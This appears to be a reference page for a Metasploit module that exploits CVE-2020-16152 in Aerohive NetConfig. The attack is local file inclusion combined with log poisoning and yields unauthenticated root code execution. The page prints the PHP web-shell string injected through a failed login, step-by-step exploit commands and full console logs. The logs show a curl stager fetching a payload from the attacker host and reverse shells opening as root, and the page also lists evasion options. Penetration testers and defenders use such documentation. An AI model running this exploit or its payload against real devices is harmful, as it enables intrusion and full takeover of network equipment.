Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE - Metasploit


This page contains detailed information about how to use the exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE
Module: exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
Source code: modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb
Disclosure date: 2020-02-17
Last modification time: 2021-11-02 19:58:16 +0000
Supported architecture(s): armle, cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-16152

This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage


msf > use exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
msf exploit(aerohive_netconfig_lfi_log_poison_rce) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user.

NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable Aerohive NetConfig versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks.

The module's check method attempts to obtain the Aerohive NetConfig version via a simple HTTP GET request to /index.php5.

If the target seems vulnerable based on the version, the module attempts to poison the /tmp/messages log file via the POST parameter userName in an intentionally faulty login attempt to /login.php5. The value of userName is set to a payload according to this format: "<?php system($_POST['cmd']);?>". Because failed login attempts are logged to /tmp/messages and include the submitted username, the /tmp/messages log can be effectively poisoned in this manner.

Next, the module attempts to run code via /tmp/messages by means of an HTTP POST request to action.php5. This request includes two POST parameters: 1. The _page parameter, which is the one vulnerable to LFI via path truncation. 2. The parameter that is used to execute commands via /tmp/messages. In our example the name would be cmd, but the module sets this to an arbitrary value.

Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. It is also possible that enabling the meterpreter option 'TryToFork` might prevent the application hang after exploitation, but given access constraints we were unable to verify the resultant behavior for enabling that option. Try at your own risk (but let us know how it goes if you do).

The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour.

Aerohive runs an ARM-based version of Linux. The module supports two targets, a Linux target for ARCH_ARMLE payloads and a CMD starget for cmd/unix payloads. It should be noted that for the CMD target, the only reliable payload seems to be cmd/unix/reverse_openssl.

The original writeup notes that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable. Disclosure to the vendor occurred in early 2020 and while the vendor confirmed the problem, they failed to inform the researcher about the timeline for fixing it. As a result, the researcher ultimately released the details and PoC on their own in September of last year. As of now, the CVE status is still RESERVED.

This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a.

Verification Steps


  1. Start msfconsole
  2. Do: use exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
  3. Do: set RHOSTS [IP]
  4. Do: set LHOST [IP]
  5. Do: exploit

Options


TARGETURI

The base path to Aerohive NetConfig. The default value is /.

Targets


Id  Name
--  ----
0   Linux
1   CMD

Scenarios


Aerohive NetConfig 8.2r4 - Linux target - AUTO_CLEAN_LOG false

Module options (exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   AUTO_CLEAN_LOG  false            yes       Automatically clean the /tmp/messages log upon spawning a shell. WARN
                                              ING! This may render the target unexploitable
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          92.168.1.151     yes       The target host(s), see https://github.com/rapid7/metasploit-framewor
                                              k/wiki/Using-Metasploit
   RPORT           443              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an add
                                              ress on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       The base path to Aerohive NetConfig
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host


Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.229    yes       The listen address (an interface may be specified)
   LPORT  4000             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux


msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > run

[*] Started reverse TCP handler on 192.168.1.229:4000
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Aerohive NetConfig version 8.2r4
[*] Attempting to poison the log at /tmp/messages...
[*] Server responded as expected. Continuing...
[*] Using URL: http://0.0.0.0:8080/tCSLFVW4TC
[*] Local IP: http://192.168.1.229:8080/tCSLFVW4TC
[*] Attempting to execute the payload
[!] In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Client 192.168.1.151 (curl/7.50.1) requested /tCSLFVW4TC
[*] Sending payload to 192.168.1.151 (curl/7.50.1)
[*] Sending stage (902096 bytes) to 192.168.1.151
[!] Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:
    system($_POST['PPv9j']);?>
[!] Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.
[!] Deleting /tmp/messages or clearing out the file may break the application.
[*] Meterpreter session 23 opened (192.168.1.229:4000 -> 192.168.1.151:57350 ) at 2021-11-02 16:51:28 +0000
[*] Server stopped.

meterpreter > shell
Process 2637 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
grep 'php system' /tmp/messages
2021-11-02 11:51:26 notice  ah_webui: security: Admin "< system($_POST['PPv9j']);?>>" failed to log in

Aerohive NetConfig 8.2r4 - Linux target - AUTO_CLEAN_LOG true

Module options (exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   AUTO_CLEAN_LOG  true             yes       Automatically clean the /tmp/messages log upon spawning a shell. WARN
                                              ING! This may render the target unexploitable
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          92.168.1.151     yes       The target host(s), see https://github.com/rapid7/metasploit-framewor
                                              k/wiki/Using-Metasploit
   RPORT           443              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an add
                                              ress on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       The base path to Aerohive NetConfig
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host


Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.229    yes       The listen address (an interface may be specified)
   LPORT  4001             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux


msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > run

[*] Started reverse TCP handler on 192.168.1.229:4001
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Aerohive NetConfig version 8.2r4
[*] Attempting to poison the log at /tmp/messages...
[*] Server responded as expected. Continuing...
[*] Using URL: http://0.0.0.0:8080/d6UNmlXIko
[*] Local IP: http://192.168.1.229:8080/d6UNmlXIko
[*] Attempting to execute the payload
[!] In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.
[*] Command Stager progress - 100.00% done (116/116 bytes)
[*] Client 192.168.1.151 (curl/7.50.1) requested /d6UNmlXIko
[*] Sending payload to 192.168.1.151 (curl/7.50.1)
[*] Sending stage (902096 bytes) to 192.168.1.151
[*] Attempting to clean the log file at /tmp/messages...
[!] Please note this will render the target (temporarily) unexploitable. This state can last over an hour.
[+] Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.
[*] Meterpreter session 24 opened (192.168.1.229:4001 -> 192.168.1.151:52430 ) at 2021-11-02 16:55:12 +0000
[*] Server stopped.

meterpreter > shell
Process 3096 created.
Channel 1 created.
grep 'php system' /tmp/messages
id
uid=0(root) gid=0(root)

Aerohive NetConfig 8.2r4 - CMD target - AUTO_CLEAN_LOG true

Module options (exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   AUTO_CLEAN_LOG  true             yes       Automatically clean the /tmp/messages log upon spawning a shell. WARN
                                              ING! This may render the target unexploitable
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS          92.168.1.151     yes       The target host(s), see https://github.com/rapid7/metasploit-framewor
                                              k/wiki/Using-Metasploit
   RPORT           443              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an add
                                              ress on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       The base path to Aerohive NetConfig
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host


Payload options (cmd/unix/reverse_openssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.229    yes       The listen address (an interface may be specified)
   LPORT  4949             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   CMD


msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > exploit

[*] Started reverse double SSL handler on 192.168.1.229:4949
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is Aerohive NetConfig version 8.2r4
[*] Attempting to poison the log at /tmp/messages...
[*] Server responded as expected. Continuing...
[*] Attempting to execute the payload
[!] In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo VHvH3bgm8VU8O8MN;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "VHvH3bgm8VU8O8MN\n"
[*] Matching...
[*] A is input...
[*] Attempting to clean the log file at /tmp/messages...
[!] Please note this will render the target (temporarily) unexploitable. This state can last over an hour.
[+] Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.
[*] Command shell session 22 opened (192.168.1.229:4949 -> 192.168.1.151:42232 ) at 2021-11-02 16:45:53 +0000

id
uid=0(root) gid=0(root)

Go back to menu.

Msfconsole Usage


Here is how the unix/webapp/aerohive_netconfig_lfi_log_poison_rce exploit module looks in the msfconsole:

msf6 > use exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce

[*] Using configured payload linux/armle/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > show info

       Name: Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE
     Module: exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
   Platform: Linux, Unix
       Arch: armle, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-17

Provided by:
  Erik de Jong
  Erik Wynter

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Linux
  1   CMD

Check supported:
  Yes

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  AUTO_CLEAN_LOG  false            yes       Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable
  Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                           yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT           443              yes       The target port (TCP)
  SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT         8080             yes       The local port to listen on.
  SSL             true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI       /                yes       The base path to Aerohive NetConfig
  URIPATH                          no        The URI to use for this exploit (default is random)
  VHOST                            no        HTTP server virtual host

Payload information:

Description:
  This module exploits LFI and log poisoning vulnerabilities 
  (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 
  and older in order to achieve unauthenticated remote code execution 
  as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS 
  administrative webinterface. Vulnerable versions allow for LFI 
  because they rely on a version of PHP 5 that is vulnerable to string 
  truncation attacks. This module leverages this issue in conjunction 
  with log poisoning to gain RCE as root. Upon successful 
  exploitation, the Aerohive NetConfig application will hang for as 
  long as the spawned shell remains open. Closing the session should 
  render the app responsive again. The module provides an automatic 
  cleanup option to clean the log. However, this option is disabled by 
  default because any modifications to the /tmp/messages log, even via 
  sed, may render the target (temporarily) unexploitable. This state 
  can last over an hour. This module has been successfully tested 
  against Aerohive NetConfig versions 8.2r4 and 10.0r7a.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-16152
  https://github.com/eriknl/CVE-2020-16152

Module Options


This is a complete list of options available in the unix/webapp/aerohive_netconfig_lfi_log_poison_rce exploit:

msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > show options

Module options (exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   AUTO_CLEAN_LOG  false            yes       Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT           443              yes       The target port (TCP)
   SRVHOST         0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT         8080             yes       The local port to listen on.
   SSL             true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                          no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI       /                yes       The base path to Aerohive NetConfig
   URIPATH                          no        The URI to use for this exploit (default is random)
   VHOST                            no        HTTP server virtual host

Payload options (linux/armle/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Linux

Advanced Options


Here is a complete list of advanced options supported by the unix/webapp/aerohive_netconfig_lfi_log_poison_rce exploit:

msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > show advanced

Module advanced options (exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       curl                                                no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_a
                                                                                         dodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Au
                                                                                         to, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (linux/armle/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         false            no        Fork a new process if the functionality is available
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the unix/webapp/aerohive_netconfig_lfi_log_poison_rce module can exploit:

msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux
   1   CMD

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/aerohive_netconfig_lfi_log_poison_rce exploit:

msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > show payloads

Compatible Payloads
===================

   #   Name                                           Disclosure Date  Rank    Check  Description
   -   ----                                           ---------------  ----    -----  -----------
   0   payload/generic/custom                                          normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                  normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                               normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/linux/armle/adduser                                     normal  No     Linux Add User
   4   payload/linux/armle/exec                                        normal  No     Linux Execute Command
   5   payload/linux/armle/meterpreter/bind_tcp                        normal  No     Linux Meterpreter, Bind TCP Stager
   6   payload/linux/armle/meterpreter/reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Stager
   7   payload/linux/armle/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   8   payload/linux/armle/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   9   payload/linux/armle/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline
   10  payload/linux/armle/shell/bind_tcp                              normal  No     Linux dup2 Command Shell, Bind TCP Stager
   11  payload/linux/armle/shell/reverse_tcp                           normal  No     Linux dup2 Command Shell, Reverse TCP Stager
   12  payload/linux/armle/shell_bind_tcp                              normal  No     Linux Command Shell, Reverse TCP Inline
   13  payload/linux/armle/shell_reverse_tcp                           normal  No     Linux Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the unix/webapp/aerohive_netconfig_lfi_log_poison_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/webapp/aerohive_netconfig_lfi_log_poison_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed.


Here is a relevant code snippet related to the "Connection failed." error message:

99:	      'method' => 'GET',
100:	      'uri' => normalize_uri(target_uri.path, 'index.php5')
101:	    })
102:	
103:	    unless res
104:	      return CheckCode::Unknown('Connection failed.')
105:	    end
106:	
107:	    unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')
108:	      return CheckCode::Safe('Target is not an Aerohive NetConfig application.')
109:	    end

Target is not an Aerohive NetConfig application.


Here is a relevant code snippet related to the "Target is not an Aerohive NetConfig application." error message:

103:	    unless res
104:	      return CheckCode::Unknown('Connection failed.')
105:	    end
106:	
107:	    unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')
108:	      return CheckCode::Safe('Target is not an Aerohive NetConfig application.')
109:	    end
110:	
111:	    version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first
112:	    unless version
113:	      return CheckCode::Detected('Could not determine Aerohive NetConfig version.')

Could not determine Aerohive NetConfig version.


Here is a relevant code snippet related to the "Could not determine Aerohive NetConfig version." error message:

108:	      return CheckCode::Safe('Target is not an Aerohive NetConfig application.')
109:	    end
110:	
111:	    version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first
112:	    unless version
113:	      return CheckCode::Detected('Could not determine Aerohive NetConfig version.')
114:	    end
115:	
116:	    begin
117:	      if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')
118:	        return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")

The target is Aerohive NetConfig version <VERSION>


Here is a relevant code snippet related to the "The target is Aerohive NetConfig version <VERSION>" error message:

113:	      return CheckCode::Detected('Could not determine Aerohive NetConfig version.')
114:	    end
115:	
116:	    begin
117:	      if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')
118:	        return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")
119:	      else
120:	        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')
121:	        return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")
122:	      end
123:	    rescue StandardError => e

It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.


Here is a relevant code snippet related to the "It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable." error message:

115:	
116:	    begin
117:	      if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')
118:	        return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")
119:	      else
120:	        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')
121:	        return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")
122:	      end
123:	    rescue StandardError => e
124:	      return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")
125:	    end

The target is Aerohive NetConfig version <VERSION>


Here is a relevant code snippet related to the "The target is Aerohive NetConfig version <VERSION>" error message:

116:	    begin
117:	      if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')
118:	        return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")
119:	      else
120:	        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')
121:	        return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")
122:	      end
123:	    rescue StandardError => e
